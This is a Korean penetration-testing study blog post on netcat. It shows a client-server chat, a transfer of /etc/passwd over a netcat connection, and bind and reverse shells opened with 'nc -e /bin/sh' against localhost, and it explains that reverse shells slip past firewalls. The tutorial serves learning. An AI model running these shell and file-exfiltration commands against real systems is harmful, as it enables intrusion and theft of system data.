넷캣
모의해킹 분야의 맥가이버칼로 다재다능하다.
넷캣으로 클라이언트, 서버 모드를 2개다 구현할 수 있기 때문에 넷캣하나만 이용해서 서로 통신이 가능하다.
서버로 만들 터미널에 nc -lvp 4444 입력해준다.
l -> listening mode(서버로 동작하는 것을 의미)
v -> 상태메시지 출력
p -> listening 실행 시 사용하는 포트 번호
이렇게 하면 간단한 서버를 만들 수 있다.
이렇게 되면 클라이언트가 서버와 연결된 것을 확인할 수 있다.
클라이언트에 hello를 입력한 결과 서버 쪽에 hello가 전달이 되었다.
이번엔 서버에 ack를 입력하였다. 이번에도 역시 서버에 ack를 입력하니 클라이언트 쪽으로 ack가 전달되었다.
이와 같이 클라이언트와 서버끼리 메시지를 보낼 수 있게 되었다.
이번엔 넷캣을 이용해서 파일을 복사해보자.
서버 쪽에 nc -lvp 4444 > passwd를 입력한다.
그리고 클라이언트에 nc -q 0 127.0.0.1 4444 < /etc/passwd를 입력한다.
명령어에 사용된 ">" or "<" 기호는 리다이렉션이라고 한다.
괄호의 방향으로 파일을 출력 또는 입력을 받을 수 있다.
nc -lvp 4444 > passwd
서버 쪽에서는 클라이언트에서 네트워크 쪽으로 들어오는 입력을 passwd라는 파일에 저장을 하는 것이다.
nc -q 0 127.0.0.1 4444 < /etc/passwd
/etc/passwd파일의 내용을 입력받아서 넷캣을 이용해 서버로 전달하게 되는 것이다.
-q옵션은 파일전송이 끝나면 바로 종료시켜주는 옵션이다.
이것으로 클라이언트 /etc/passwd내용복사해서 서버 passwd파일에 저장할 수 있다.
이번엔 넷캣으로 커맨트쉘을 실행시켜보자.
일단 쉘은 2가지로 나눌 수 있는데 바인드쉘과 리버스쉘로 나눌 수 있다.
바인드쉘은 공격 대상에 서버 포트가 열리고 해커 쪽에서 서버에 접속을 해서 생성시키는 쉘이다.
nc -lvp 4444 -e /bin/sh를 입력해준다.
-e옵션은 접속을 하고 나면 명령을 실행시켜주는 옵션이다.
그다음 해커쪽에서 nc 127.0.0.1 4444를 입력해준다.
그리고 서버쪽에서 해커 쪽이 연결이 되었다고 출력이 된다.
연결이 되었으니 id를 입력해보자.
이 id라는 명령어로 사용자의 계정 정보를 확인할 수 있었다.
이번엔 ip addr명령어로 ip를 확인할 수도 있었다.
cat /etc/passwd으로 etc파일도 확인할 수 있었다.
그다음 리버스쉘은 해커 쪽에서 포트를 열고 공격 대상이 해커 쪽으로 접속을 하여 생산시키는 쉘이다.
이번이번엔 해커 쪽에서 nc -lvp 4444를 입력해준다.
그리고 서버쪽에 nc 127.0.0.1 4444 -e /bin/sh를 입력해준다.
그럼 연결된 것을 확인할 수 있다.
바인드쉘과 똑같이 해커 쪽에서 id를 검색하면 정보가 나온다.
그렇다면 왜 리버스쉘을 사용해야 할까?
그 이유는 방화벽 때문이다.
만약 해커가 서버 쪽 포트에 접근을 하면 방화벽이 접속을 차단해버린다.
이럴 때는 바인드쉘을 사용할 수 없다.
하지만 리버스쉘은 사용할 수 있다.
방화벽을 사용하는 환경이라도 내부에서 외부로 나가는 접속은 허용을 시키는 경우가 많기 때문이다.
(왜냐하면 내부에서 외부로 나가는 접속이 가능해야 회사 내의 컴퓨터가 인터넷을 사용할 수 있음)
그래서 해커는 자신의 포트를 열고 서버 쪽에서 해커 쪽으로 접속을 하게 만든다.
내부에서 외부로 접속을 하기 때문에 방화벽으로 인해 차단되지 않는다.
'공부 > 해킹공부' 카테고리의 다른 글
Recon-ng (0) | 2020.07.26 |
---|---|
이메일 수집 (0) | 2020.07.26 |
와이어 샤크 패킷 분석하기 실습 (0) | 2020.07.02 |
와이어 샤크 패킷 분석(feat.네트워크마이너) (0) | 2020.07.02 |
모의해킹 공부를 위한 버추얼박스 설치 후 칼리리눅스 설치 (0) | 2020.06.30 |